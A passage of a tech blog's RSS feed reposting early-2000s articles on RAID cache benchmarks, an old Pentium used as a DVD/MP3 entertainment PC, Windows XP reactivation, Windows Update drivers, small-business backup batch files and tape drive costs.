<td align="left" valign="top">140.90</td>
<td align="left" valign="top">146.45</td>
<td align="left" valign="top">27910.4</td>
<td align="left" valign="top"><strong>31639.2</strong></td>
<td align="left" valign="top">69905</td>
<td align="left" valign="top">76959</td>
</tr>
<tr>
<td align="left" valign="top">IBM</td>
<td align="left" valign="top">256</td>
<td align="left" valign="top">5730</td>
<td align="left" valign="top">26300</td>
<td align="left" valign="top">141.18</td>
<td align="left" valign="top"><strong>146.57</strong></td>
<td align="left" valign="top"><strong>28157.3</strong></td>
<td align="left" valign="top">31277.5</td>
<td align="left" valign="top">70393</td>
<td align="left" valign="top">95869</td>
</tr>
<tr>
<td align="left" valign="top">RAID 0 Four Disk</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td align="left" valign="top">IBM</td>
<td align="left" valign="top">64</td>
<td align="left" valign="top">6070</td>
<td align="left" valign="top">26300</td>
<td align="left" valign="top">164.36</td>
<td align="left" valign="top">172.17</td>
<td align="left" valign="top">23622.4</td>
<td align="left" valign="top">30611.6</td>
<td align="left" valign="top">70393</td>
<td align="left" valign="top">94741</td>
</tr>
<tr>
<td align="left" valign="top">IBM</td>
<td align="left" valign="top">128</td>
<td align="left" valign="top">6090</td>
<td align="left" valign="top">28200</td>
<td align="left" valign="top">165.50</td>
<td align="left" valign="top">173.35</td>
<td align="left" valign="top">23907.9</td>
<td align="left" valign="top">31081.9</td>
<td align="left" valign="top">69905</td>
<td align="left" valign="top">80082</td>
</tr>
<tr>
<td align="left" valign="top">IBM</td>
<td align="left" valign="top">256</td>
<td align="left" valign="top"><strong>6120</strong></td>
<td align="left" valign="top"><strong>28300</strong></td>
<td align="left" valign="top"><strong>165.81</strong></td>
<td align="left" valign="top"><strong>174.10</strong></td>
<td align="left" valign="top"><strong>24215.0</strong></td>
<td align="left" valign="top"><strong>31126.2</strong></td>
<td align="left" valign="top"><strong>70558</strong></td>
<td align="left" valign="top"><strong>97024</strong></td>
</tr>
<tr>
<td align="left" valign="top">RAID 0+1 Four Disk</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td align="left" valign="top">IBM</td>
<td align="left" valign="top">64</td>
<td align="left" valign="top"><strong>6240</strong></td>
<td align="left" valign="top">25400</td>
<td align="left" valign="top">153.31</td>
<td align="left" valign="top">148.28</td>
<td align="left" valign="top"><strong>34004.4</strong></td>
<td align="left" valign="top">29649.5</td>
<td align="left" valign="top">68015</td>
<td align="left" valign="top"><strong>81640</strong></td>
</tr>
<tr>
<td align="left" valign="top">IBM</td>
<td align="left" valign="top">128</td>
<td align="left" valign="top">5780</td>
<td align="left" valign="top">26500</td>
<td align="left" valign="top">153.40</td>
<td align="left" valign="top">148.28</td>
<td align="left" valign="top">32874.5</td>
<td align="left" valign="top">29579.0</td>
<td align="left" valign="top">67408</td>
<td align="left" valign="top">79324</td>
</tr>
<tr>
<td align="left" valign="top">IBM</td>
<td align="left" valign="top">256</td>
<td align="left" valign="top">5730</td>
<td align="left" valign="top"><strong>26300</strong></td>
<td align="left" valign="top"><strong>153.50</strong></td>
<td align="left" valign="top"><strong>148.32</strong></td>
<td align="left" valign="top">23973.8</td>
<td align="left" valign="top"><strong>31113.6</strong></td>
<td align="left" valign="top"><strong>68169</strong></td>
<td align="left" valign="top">80273</td>
</tr>
<tr>
<td align="left" valign="top">RAID 5 Three Disk</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td align="left" valign="top">IBM</td>
<td align="left" valign="top">64</td>
<td align="left" valign="top">3930</td>
<td align="left" valign="top">16400</td>
<td align="left" valign="top"><strong>107.57</strong></td>
<td align="left" valign="top">98.07</td>
<td align="left" valign="top">27045.6</td>
<td align="left" valign="top">21273.1</td>
<td align="left" valign="top"><strong>67710</strong></td>
<td align="left" valign="top">65472</td>
</tr>
<tr>
<td align="left" valign="top">IBM</td>
<td align="left" valign="top">128</td>
<td align="left" valign="top"><strong>4330</strong></td>
<td align="left" valign="top"><strong>16500</strong></td>
<td align="left" valign="top">107.39</td>
<td align="left" valign="top">98.33</td>
<td align="left" valign="top">27415.4</td>
<td align="left" valign="top"><strong>23638.2</strong></td>
<td align="left" valign="top">64996</td>
<td align="left" valign="top">80659</td>
</tr>
<tr>
<td align="left" valign="top">IBM</td>
<td align="left" valign="top">256</td>
<td align="left" valign="top">4320</td>
<td align="left" valign="top">15500</td>
<td align="left" valign="top">107.30</td>
<td align="left" valign="top"><strong>98.39</strong></td>
<td align="left" valign="top"><strong>27540.5</strong></td>
<td align="left" valign="top">23087.9</td>
<td align="left" valign="top">65312</td>
<td align="left" valign="top"><strong>81245</strong></td>
</tr>
<tr>
<td align="left" valign="top">RAID 5 Four Disk</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td align="left" valign="top">IBM</td>
<td align="left" valign="top">64</td>
<td align="left" valign="top">3850</td>
<td align="left" valign="top"><strong>17400</strong></td>
<td align="left" valign="top">117.33</td>
<td align="left" valign="top">105.02</td>
<td align="left" valign="top">23548.6</td>
<td align="left" valign="top">22026.4</td>
<td align="left" valign="top">67710</td>
<td align="left" valign="top">70067</td>
</tr>
<tr>
<td align="left" valign="top">IBM</td>
<td align="left" valign="top">128</td>
<td align="left" valign="top"><strong>4320</strong></td>
<td align="left" valign="top">15900</td>
<td align="left" valign="top">117.90</td>
<td align="left" valign="top">105.37</td>
<td align="left" valign="top">23293.6</td>
<td align="left" valign="top"><strong>23374.7</strong></td>
<td align="left" valign="top">67108</td>
<td align="left" valign="top">88512</td>
</tr>
<tr>
<td align="left" valign="top">IBM</td>
<td align="left" valign="top">256</td>
<td align="left" valign="top">3760</td>
<td align="left" valign="top">16500</td>
<td align="left" valign="top"><strong>118.07</strong></td>
<td align="left" valign="top"><strong>105.68</strong></td>
<td align="left" valign="top"><strong>23548.8</strong></td>
<td align="left" valign="top">23078.9</td>
<td align="left" valign="top"><strong>68634</strong></td>
<td align="left" valign="top"><strong>91361</strong></td>
</tr>
</tbody>
</table>
<p style="text-align: justify;">Well, after a lot of benchmarks it looks like maxing the cache paid off on four disk RAID arrays. For two disk arrays 64 MB is fine, and three disk arrays can go with any size.</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Entertainment PC</title>
		<link>http://tech.ebabble.net/entertainment-pc</link>
		<comments>http://tech.ebabble.net/entertainment-pc#comments</comments>
		<pubDate>Wed, 09 Nov 2011 13:08:46 +0000</pubDate>
		<dc:creator>Scott VanderPloeg</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[Music Match]]></category>
		<category><![CDATA[PC]]></category>
		<category><![CDATA[RealMagic]]></category>
		<category><![CDATA[SCSI]]></category>
		<category><![CDATA[Sigma Designs]]></category>

		<guid isPermaLink="false">http://www.ebabble.net/?p=2326</guid>
		<description><![CDATA[Blast from the past: originally published June 1st 2001.
Being a computer technician and networking professional, I have quite a few computers at home. The problem is what to do with those old Pentium machines that just can’t keep up with today’s games. About the time I was contemplating all this two entertainment phenomena’s hit the big time: DVD movies and MP3’s. I of course wanted both, but didn’t want to shell out the big bucks. Then it hit me: use an old Pentium PC as an “Entertainment” computer to hook ...]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><em>Blast from the past: originally published June 1st 2001.</em></p>
<p style="text-align: justify;">Being a computer technician and networking professional, I have quite a few computers at home. The problem is what to do with those old Pentium machines that just can’t keep up with today’s games. About the time I was contemplating all this two entertainment phenomena’s hit the big time: DVD movies and MP3’s. I of course wanted both, but didn’t want to shell out the big bucks. Then it hit me: use an old Pentium PC as an “Entertainment” computer to hook to my television and receiver.</p>
<p style="text-align: justify;">I needed to get a PC set up with DVD and MP3 playback. Digging around I found an old Pentium 133 MHz machine with a 1 GB hard drive and 32 MB of RAM. Further investigation led me to a Sound Blaster 32 ISA, a Pioneer 2x DVD SCSI drive and a 15” monitor. This was almost everything I needed; most software DVD players require a processor of at least 400 MHz to get 30 frames per second decoding, and I was woefully below that. DVD movies are compressed with MPEG encoding, so a decoder is required to play them back.</p>
<p style="text-align: justify;"><a href="http://www.ebabble.net/wp-content/uploads/realmagic-hollywood-plus.jpg" rel="lightbox[2326]"><img class="aligncenter size-medium wp-image-2327" title="realmagic-hollywood-plus" src="http://www.ebabble.net/wp-content/uploads/realmagic-hollywood-plus-300x300.jpg" alt="" width="300" height="300" /></a>I did a little searching and bought a RealMagic <a href="http://www.sigmadesigns.com/products/hollywood_plus.htm" target="_blank">Hollywood Plus</a> MPEG decoder; it does MPEG and Dolby Digital decoding onboard, has S video and a bevy of connectors. This beauty would handle all my movie requirements with ease; all it lacked was a remote control, which is now <a href="http://www.sigmadesigns.com/products/remote_control.htm" target="_blank">available</a> as well for $30.</p>
<p style="text-align: justify;">Now all I had to do was bring everything together. I installed the Hollywood Plus, Sound Blaster 32, a Linksys 10/100 network adapter, DVD drive and Adaptec 2940 SCSI card into my Pentium 100 machine. The SCSI adapter is needed to hook up the SCSI DVD drive, and I had it lying around anyway. The sound card, SCSI adapter and computer were all circa 1995 equipment, with the other bits a few years newer. I installed Windows 98 SE without incident; everything was supported by default drivers except with Hollywood Plus, so I installed the drivers and was set up. Windows 95 would probably perform better on this system, since each Microsoft OS requires a little more juice, but since this PC would only be handling one task at a time I went with the current home OS.</p>
<p style="text-align: justify;">The Hollywood Plus comes with it’s own player, but I needed something for my MP3 files. I downloaded Music Match <a href="http://www.musicmatch.com/" target="_blank">Jukebox</a> to do the job; it has a clean interface and is easy to use. As I said before all my music files (MP3s and WMAs) reside on my server, so I pointed Music Match to the shared drive and it found them all and compiled a music library.</p>
<p style="text-align: justify;">At this point everything was working properly on the PC, but I needed to get video and sound out to my television and receiver. For Dolby Digital sound you need to use the optical output from the Hollywood Plus, so I connected that to my receiver. As well I connected the SVHS output to my receiver’s VCR input along with the sound. I don’t have a 5.1 speaker system yet so the VCR input would take the Dolby Digital signal and put it to the two speakers I was using, albeit without surround sound.</p>
<p style="text-align: justify;">For digital music playback I hooked and a cable from the line out port on my Sound Blaster 32 to my receiver. Quick and easy. At this point I was watching DVD movies and listening to my music collection all through the use of a computer “too old” for most. I leave this machine on all the time in sleep mode, that way I can get to my music fairly quickly. As well I use an online TV guide since the machine is beside the television.</p>
<p style="text-align: justify;">Some notes on the setup as a whole. The most important point is that the only item I had to buy to get this going was the Hollywood Plus card; everything else was lying around unused. I would have liked to use a PCI sound card since it’s much less taxing on the CPU, but I didn’t want to spend any money. As well current PCI sound cards will decompress MP3 files onboard, instead of using the CPU. For most users an IDE DVD drive will be what they have or purchase, but again I had this old 2x drive sitting around collecting dust. SCSI is a good choice for older systems since the SCSI adapter handles the data transfer chores, but the added cost isn’t worth it for this project. I keep my music files on the server, but most users won’t do this. A nice addition to this project would be the biggest 5400 RPM hard drive you could afford; keep all those music files at hand. A monitor is a must, but it doesn’t have to be more than a 14” model you picked up at a garage sale for $30. You’re only looking at it to hit “play” most of the time.</p>
<p style="text-align: justify;">Let’s look at cost for this project. A used Pentium computer with sound card, CD-ROM and monitor can be had for less than $200. A DVD-ROM drive will be around $100, and the Hollywood Plus card is approximately $80. $380 for an entertainment PC is not unreasonable by any stretch of the imagination.</p>
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		<title>Windows Product Activation</title>
		<link>http://tech.ebabble.net/windows-product-activation</link>
		<comments>http://tech.ebabble.net/windows-product-activation#comments</comments>
		<pubDate>Wed, 02 Nov 2011 13:08:19 +0000</pubDate>
		<dc:creator>Scott VanderPloeg</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[Activation]]></category>
		<category><![CDATA[CD Key]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://www.ebabble.net/?p=2322</guid>
		<description><![CDATA[Blast from the past: originally published February 4th 2002.

So much has been made of Windows XP product activation, with every major PC magazine carrying a feature article and countless online rants, that I felt it was covered to death. The information had been presented to me at the product launch held by Microsoft that covered all there was to be said, but I had encountered a number of variables.

Here and there I had read that product activation was required, but you could upgrade pieces of hardware without reactivating. I was told seven hardware ...]]></description>
			<content:encoded><![CDATA[<p><em>Blast from the past: originally published February 4th 2002.</em></p>
<div id="Text397LYR">
<p style="text-align: justify;">So much has been made of Windows XP product activation, with every major PC magazine carrying a feature article and countless online rants, that I felt it was covered to death. The information had been presented to me at the product launch held by Microsoft that covered all there was to be said, but I had encountered a number of variables.</p>
<p style="text-align: justify;"><a href="http://www.ebabble.net/wp-content/uploads/activation-wizard-product-key.jpg" rel="lightbox[2322]"><img class="aligncenter size-medium wp-image-2323" title="activation-wizard-product-key" src="http://www.ebabble.net/wp-content/uploads/activation-wizard-product-key-300x247.jpg" alt="" width="300" height="247" /></a></p>
<p style="text-align: justify;">Here and there I had read that product activation was required, but you could upgrade pieces of hardware without reactivating. I was told seven hardware items could be upgraded, or four if one was a network card. Then later at a TechNet session I heard the number increased to nine, then down to five in a Microsoft press release. Here’s the straight goods from <a href="http://www.microsoft.com/WINDOWSXP/pro/techinfo/deployment/activation/default.asp" target="_blank">Microsoft</a>:</p>
<p><em>WPA works by associating a machine’s PID (which is derived from the product key) to the hardware configuration. It does this by creating an installation ID. The installation ID comprises the PID and a “hardware hash,” which is derived from a number of elements that characterize the machine. It also includes a random component that is generated each time it is requested.</em></p>
<p><em>In order to activate the machine, the installation ID is sent to a Microsoft license clearinghouse, which validates it. The clearinghouse returns a corresponding confirmation ID that is then used to activate the machine. After Windows XP has been activated, reactivation should only be necessary if the operating system is completely reinstalled, or if machine’s hardware is substantially changed. </em></p>
<p><em>Users must activate Windows XP with their unique product keys within the defined grace period. For the released product, this is 30 days from the time the system is installed—MSDN versions have 60 days. After expiration, Windows will disallow interactive logons until the system is activated. </em></p>
<p>And another <a href="http://www.microsoft.com/WINDOWSXP/home/evaluation/overviews/activation.asp" target="_blank">page</a>:</p>
<p><em></em><em>If you overhaul your computer by replacing a substantial number of hardware components, it may appear to be a different PC. You may have to reactivate Windows XP. If this should occur, you can call the telephone number displayed on the activation screen to reactivate the software.</em></p>
<p style="text-align: justify;">No mention of how many devices can be changed, but “substantial number” sounds like more than a handful, doesn’t it? Let’s take one last look at Microsoft on their “technical details”:</p>
<p><em>What components of the PC are used to create the hardware hash?<br />
For security reasons, Microsoft does not disclose the exact components or number of components used to create the hardware hash. </em></p>
<p><em>How many components of the PC must change before I am required to reactivate? Are the changes cumulative?<br />
Common changes to hardware such as upgrading a video card, adding a second hard disk drive, adding RAM or upgrading a CD-ROM device will not require the system to be reactivated. The changes are cumulative; however, if a user is asked to reactivate, the hardware profile is reset to that new configuration. </em></p>
<p style="text-align: justify;">Well, that’s all the information one could want about product activation. But where is this going? I recently upgraded my main system’s motherboard from a Gigabyte GA7VTXE to a Gigabyte GA7VTXE+; I did it because the opportunity arose to sell the old and get the new for the same price. The only difference between the boards is the South Bridge chipset which allows ATA133, and a few cosmetic changes.</p>
<p style="text-align: justify;">I swapped out the old board and installed the new. Since the IRQ layout was the same for both boards, I installed the cards in the same slots. Upon reboot everything was the same; no new hardware was found since it was all the same except for a small piece of the motherboard.</p>
<p style="text-align: justify;">Just as Windows XP Professional came up fully, I was confronted with a message indicating my copy of Windows needed to be reactivated. There were two options: reactivate or cancel; choosing cancel brought me to the shutdown dialog box. I rebooted but got the same options, so I chose reactivate. I could do this over the internet or telephone; I tried the internet but it told me I had to call. I chose my home country and dialed the toll free.</p>
<p style="text-align: justify;">Once connected I was led through a maze of telephone options culminating in my entering the 26 number product ID; I did this via the touch pad on the phone and was then sent to a live operator. He was friendly and courteous as he asked me for the product ID; I asked him why he didn’t have it from me entering it on the phone, but didn’t get an answer. I explained my motherboard upgrade situation and asked a few questions; he couldn’t provide any answers but was always polite. I read off the product ID and he read me an activation number that I entered. Two more clicks and I was working again.</p>
<p style="text-align: justify;">The moral of the story; make sure you have a legitimate copy of Windows XP if you like to upgrade your hardware. And even if you have to call for reactivation, it’s not so bad after all.</p>
</div>
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		<title>Windows Update &amp; Device Drivers</title>
		<link>http://tech.ebabble.net/windows-update-device-drivers</link>
		<comments>http://tech.ebabble.net/windows-update-device-drivers#comments</comments>
		<pubDate>Wed, 26 Oct 2011 13:08:41 +0000</pubDate>
		<dc:creator>Scott VanderPloeg</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[update]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://www.ebabble.net/?p=2319</guid>
		<description><![CDATA[Blast from the past: originally published December 31st 2001.

I’m a big fan of Windows Update; one easy place to find all the updates needed for your system. I’ve found it works with Windows 95 up and long as your version of Internet Explorer is 4.0 or greater. With versions 5 and 6, you go to Tools, Windows Update. With version 4, go to Tools, Product Updates. Either way you’re brought to the Windows Update page, with lots of information available.

Products updates is my frequent destination for the latest operating system patches. It’s neatly organized into ...]]></description>
			<content:encoded><![CDATA[<p><em>Blast from the past: originally published December 31st 2001.</em></p>
<div id="Text393LYR">
<p style="text-align: justify;">I’m a big fan of Windows Update; one easy place to find all the updates needed for your system. I’ve found it works with Windows 95 up and long as your version of Internet Explorer is 4.0 or greater. With versions 5 and 6, you go to Tools, Windows Update. With version 4, go to Tools, Product Updates. Either way you’re brought to the Windows Update page, with lots of information available.</p>
<p><a href="http://www.ebabble.net/wp-content/uploads/wupdate.png" rel="lightbox[2319]"><img class="aligncenter size-medium wp-image-2320" title="wupdate" src="http://www.ebabble.net/wp-content/uploads/wupdate-300x35.png" alt="" width="300" height="35" /></a></p>
<p style="text-align: justify;">Products updates is my frequent destination for the latest operating system patches. It’s neatly organized into categories: critical updates, recommended updates, additional Windows features, and finally device drivers. It’s the last category that’s interested me the most; your hardware driver versions are compared to the WHQL ( Windows hardware quality labs ) hardware compatibility list. If a newer version is available Windows Update offers to install it for you. Sounds good, doesn’t it? No need to hunt down drivers from every manufacturer, just click and install.</p>
<p style="text-align: justify;">Somehow this always sounded too easy to me. Plus the fact most manufacturers are slow to release their WHQL drivers, instead putting the latest and greatest features into their regular updates. I do have some systems at work that use boring business hardware, and have seen Windows Update offer to get the latest drivers. The offer has come up for the ATI Rage Pro, ATI Rage XL and Via Technologies Sound.</p>
<p style="text-align: justify;">In a flash of stupidity I agreed to download the ATI Rage Pro drivers. Everything went smooth until I was prompted for a *.hlp or *.hl_ file. It listed the directory Windows Update had placed the install files, but no such beast. I did notice a large group of *.hlx files, which seemed to fit the bill.  I renamed them to *.hlp and the install finished just fine. Weird and not too user friendly for the kind of folks that would take advantage of this easy to use feature.</p>
<p style="text-align: justify;">Curiosity had me in it’s grip as I moved on to a machine with an ATI Rage XL video card. Windows Update showed the driver update, so I went ahead. Same thing as the ATI Rage Pro drivers, *.hlx files instead of *.hlp files. Renaming got the job done.</p>
<p style="text-align: justify;">My last test didn’t work out quite as well. The machines all used Gigabyte GA7ZM motherboards with AC97 sound, so I tried the Windows Update. Installation went smooth, but upon reboot I had, you guessed it, no sound. Device Manager showed some warnings, so I uninstalled the drivers and grabbed the latest from the Gigabyte website. Installed those and sound was back.</p>
<p style="text-align: justify;">All in all a mixed and unpleasant experience. My advice is to avoid the Windows Update device drivers and instead bookmark the pages on your hardware manufacturers websites. Check them monthly and get the latest and greatest from the source.</p>
</div>
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		<title>Small Business Backup Basics</title>
		<link>http://tech.ebabble.net/small-business-backup-basics</link>
		<comments>http://tech.ebabble.net/small-business-backup-basics#comments</comments>
		<pubDate>Wed, 19 Oct 2011 13:08:15 +0000</pubDate>
		<dc:creator>Scott VanderPloeg</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[Batch File]]></category>
		<category><![CDATA[client]]></category>
		<category><![CDATA[Command Prompt]]></category>
		<category><![CDATA[server]]></category>

		<guid isPermaLink="false">http://www.ebabble.net/?p=2311</guid>
		<description><![CDATA[Blast from the past: originally published May 3rd 2002.

Once you have a small business up and running with a handful of computers you have to look at a serious backup strategy. Programs can be reinstalled, updates downloaded again, but the data generated by yourself and those around you is unique and should be protected. The best way to protect that information is to store it centrally and perform regular backups. To accomplish our goal we’ll look at both ends of the process; setting up the server and setting up the clients.

Let’s take a ...]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><em>Blast from the past: originally published May 3rd 2002.</em></p>
<div id="Text406LYR" style="text-align: justify;">
<p>Once you have a small business up and running with a handful of computers you have to look at a serious backup strategy. Programs can be reinstalled, updates downloaded again, but the data generated by yourself and those around you is unique and should be protected. The best way to protect that information is to store it centrally and perform regular backups. To accomplish our goal we’ll look at both ends of the process; setting up the server and setting up the clients.</p>
<p><a href="http://www.ebabble.net/wp-content/uploads/backup.png" rel="lightbox[2311]"><img class="aligncenter size-full wp-image-2312" title="backup" src="http://www.ebabble.net/wp-content/uploads/backup.png" alt="" width="260" height="260" /></a></p>
<p>Let’s take a step back and look at the server. Every business with multiple users, big or small, should have a dedicated server. A separate machine that shares files, printers, internet access, email, intranet pages, etc. The two most common operating systems for a server are Linux and Windows NT or 2000. Our process here is generic and will work with either. As well all machines, server and clients, should have anti-virus software and the latest virus signature updates.</p>
<p>Our first step is to set up a bunch of folders ( directories ) on the server; one common folder with access for all users and individual user folders with restricted access. Every user on your network should have their own login and password, so permissions can be set on folders to limit access on the network. All users on your network ( remove “everyone” access if there ) have access to a common folder, so documents can be shared and worked on collaboratively. I usually call the folder common or company, and share the folder on the network with the same name.</p>
<p>Each user has a folder created for them as well, with access restricted to that user and the administrator. That way a level of privacy and security can be maintained for the individuals documents. This folder can be named the same as the users login, typically first initial and last name, and shared with the same name followed by a $ sign. Adding the $ at the end of the share lets the server know to hide this share, so those browsing the network through Network Neighborhood won’t see them.</p>
<p>To make sure these two shares are available to users at all times you can run a batch file when they log in. This option is found under the user’s properties. Here’s a typical instruction for Windows PCs:</p>
<p>@echo off<br />
net use X: \\server\common<br />
net use Y: \\server\user$</p>
<p>Use Notepad or any text editor to enter the save it as a *.bat file. The net command has been built into every Windows version since 3.11 so this will work. It tells the operating system to map the common folder to drive X and the user’s private folder to drive Y. Simple and straightforward. Through this file you can also copy over virus signatures, flash messages and perform general PC “housekeeping”.</p>
<p>Moving on to the client PCs, we want to set them up to use only their network drive for saving files. If we keep all data on the server and back it up nightly, everything is safe.</p>
<p>This is a two step process: make the software use the network drive as the default location and keep reminding the users to only save software on their “personal and private” drives. Since Windows 98 you have been able to specify the location of the My Documents folder. Right click on My Documents, select properties and under Target enter the drive letter of the users private share. This will take care of all applications that are certified for the OS, such as Microsoft Office. For others you’ll have to set the default directory through the application’s options or preferences menu. This will also have to be done for every application if you’re still using Windows 95. Microsoft Office users can take advantage of the Office Profile Wizard to backup all their customizations of the office suite.</p>
<p>This takes care of most files, but doesn’t include email applications. Microsoft Outlook is the most common email application and saves everything into one *.pst file. The location of the file varies by operating system, but can be found by searching for it. The safest option is to move the user’s *.pst file to their network share. This method varies on every version of Outlook, but can be found by hunting in the Options menu or by right clicking on Personal Folders and selecting Properties. A surefire method is to locate the *.pst file and copy it to the network share. When Outlook is opened the next time it will indicate the pst file cannot be located; you then browse for the file and everything’s good to go.</p>
<p>Other email applications vary in how they store files, generally spreading them across multiple files. For Outlook Express backup and restore check out this <a href="http://insideoe.tomsterdam.com/" target="_blank">excellent site</a>.</p>
<div id="Text406LYR">
<p>Laptop users need another option, as the machine isn’t always connected to the network. The best practice for them is to store all their documents in the c:\My Documents folder and synchronize with the server when they log in. Here’s how to set up their login file:</p>
<p>@echo off<br />
net use X: \\server\common<br />
net use Y: \\server\user$<br />
xcopy “C:\My Documents\*.*” “Y:\My Documents” /M /E /Y</p>
<p>This is the same as our first file but with the xcopy command added. This line is copying all files from the C: drive of the laptop or local computer to the user’s My Documents folder on the network share. It will be annoying when the connect to the network but will keep the data safe. The end switches are as follows: /M copies only files with the archive attribute set and then turns off the attribute, /E copies all sub directories and files, /Y indicated yes to overwriting files with the same name. The last two are pretty straightforward, so let’s talk about the archive attribute. Each file has an attribute called archive that can be on or off. Most applications can turn this on or off, including basic DOS commands, Windows Explorer, even File Manager from Windows 3. The concept here is once the file has been copied over the archive attribute is set to off. When the file is worked on and saved it’s automatically turned back on. When xcopy is run again it only looks for files with archive on and leaves the others that haven’t been worked on since the last backup. Quick and easy.</p>
<p>Now we have basic file protection set up through shares on the server and users storing all documents in those shares. Our second backup script will protect machines that infrequently access the network by copying their documents when they do connect. Now our only concern is keeping the documents on the server backed up and secure. I’d like to believe that anyone who sold you a small business server included a tape drive in that machine, but this isn’t always the case. Recommended is a twofold backup strategy; RAID 1 mirroring of hard drives and tape backup for archiving.</p>
<p>RAID stands for redundant array of independent drives, and type 1 keeps a mirror image of one hard drive on a second hard drive. This can be accomplished via software to save money or via hardware for speed and operating system independence. This way if one hard drive fails the second mirror image has all your data, safe and secure.</p>
<p>To archive all documents you need large capacity removable storage. If your data is less than 4.7 GB I heartily recommend a DVD writer. Less than $600 for the drive and $20 per rewritable disc means you can have a fast backup and one month archive for $1000. If your data goes beyond that size a tape drive is your best choice. Ranging from 8 to 100 GB per tape it’s the way to go. Check our tape technology <a href="http://tech.ebabble.net/tape-drive-technology-comparison">comparison</a> for more information. The built in backup software in any server OS can be used to archive your data files. If you want “disaster recovery”, which means you boot from a disk and reload your entire system from tape, you’ll need additional software. It’s a good idea with any backup media to take a copy home with you, just in case the building is destroyed.</p>
<p>The focus of this article is keeping user data safe and sound. Combine the few simple procedures and all your business data will be safe.</p>
</div>
</div>
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		<title>Tape Drive Technology Comparison</title>
		<link>http://tech.ebabble.net/tape-drive-technology-comparison</link>
		<comments>http://tech.ebabble.net/tape-drive-technology-comparison#comments</comments>
		<pubDate>Wed, 12 Oct 2011 13:08:42 +0000</pubDate>
		<dc:creator>Scott VanderPloeg</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[AIT]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[DAT]]></category>
		<category><![CDATA[DDS]]></category>
		<category><![CDATA[tape]]></category>
		<category><![CDATA[Travan]]></category>
		<category><![CDATA[Ultrium]]></category>

		<guid isPermaLink="false">http://www.ebabble.net/?p=2314</guid>
		<description><![CDATA[Blast from the past: originally published November 15th 2000.
Backup should be a key component of any computer user’s routine. No matter what we do with our computer, there are files you don’t want to lose. The only way to guarantee they’ll always be there is to back them up.

For the day to day user or individual who is concerned with system failure or file loss the best method is RAID 1. This process takes two hard drives and mirrors the contents from one to the other. After the initial setup ...]]></description>
			<content:encoded><![CDATA[<p><em>Blast from the past: originally published November 15th 2000.</em></p>
<p style="text-align: justify;">Backup should be a key component of any computer user’s routine. No matter what we do with our computer, there are files you don’t want to lose. The only way to guarantee they’ll always be there is to back them up.</p>
<p style="text-align: justify;"><a href="http://www.ebabble.net/wp-content/uploads/backup_tape.jpg" rel="lightbox[2314]"><img class="aligncenter size-full wp-image-2316" title="backup_tape" src="http://www.ebabble.net/wp-content/uploads/backup_tape.jpg" alt="" width="200" height="164" /></a></p>
<p style="text-align: justify;">For the day to day user or individual who is concerned with system failure or file loss the best method is RAID 1. This process takes two hard drives and mirrors the contents from one to the other. After the initial setup there is nothing required from the user to keep this going. The initial expense is around $100 for an IDE RAID PCI card, plus the cost of two hard drives, say Maxtor 20 GB drives retailing for $200 each. Total complete backup solution cost is $300 on top of the existing PC costs. For a look at such solutions see my previous RAID <a href="http://tech.ebabble.net/promise-fasttrak">article</a>.</p>
<p style="text-align: justify;">For the network user RAID by itself is not the optimal backup solution. I still recommend RAID 1 or 5 solutions for the network file server, but augmenting this would be a tape backup system. Tape allows for proper archiving of files that can’t be handled by RAID. In my office a common scenario is this; someone comes to me and says the report they work on was screwed up yesterday, can I load the report from three days ago? Archival backup is the only way to handle this, as a site should be keeping between ten to thirty days of backups on hand for just such problems.</p>
<p style="text-align: justify;">Tape is the preferred backup for archiving for one reason; it has the largest capacity. Optical storage is good and fast, but maxes out around 5 GB. There are quite a variety of tape technologies available: DAT <a href="http://www.dds-tape.com/" target="_blank">DDS</a>, DLT, Travan NS, AIT, <a href="http://www.hp.com/tape/ultrium/aboutult.html" target="_blank">Ultrium</a>, <a href="http://www.tandberg.com/slr/slr_docs.html" target="_blank">SLR</a>, plus brand specific types like Exabyte Mammoth, Onstream ADR and Ecrix VXA. Below is a chart that outlines the various technologies capacity, speed, and most importantly cost. I’ve stated the total cost to be the drive plus 20 tapes, giving the user a full work month of backups.</p>
<table width="475" border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td colspan="7" width="475" height="21">Tape Technology Comparison</td>
</tr>
<tr>
<td height="17"></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td height="17"></td>
<td>Compressed</td>
<td>Transfer</td>
<td>Drive</td>
<td>Media</td>
<td>Tapes for</td>
<td>Total</td>
</tr>
<tr>
<td height="17">Format</td>
<td>Capacity (GB)</td>
<td>GB / Hour</td>
<td>Cost $</td>
<td>Cost $</td>
<td>20 days</td>
<td>Cost $</td>
</tr>
<tr>
<td height="17">DDS-2</td>
<td>8</td>
<td>3.6</td>
<td align="right">920</td>
<td align="right">15</td>
<td align="right">300</td>
<td align="right">1220</td>
</tr>
<tr>
<td height="17">DDS-3</td>
<td>24</td>
<td>7.2</td>
<td align="right">1100</td>
<td align="right">37</td>
<td align="right">740</td>
<td align="right">1840</td>
</tr>
<tr>
<td height="17">DDS-4</td>
<td>40</td>
<td>21.6</td>
<td align="right">1700</td>
<td align="right">60</td>
<td align="right">1200</td>
<td align="right">2900</td>
</tr>
<tr>
<td height="17">Travan NS8</td>
<td>8</td>
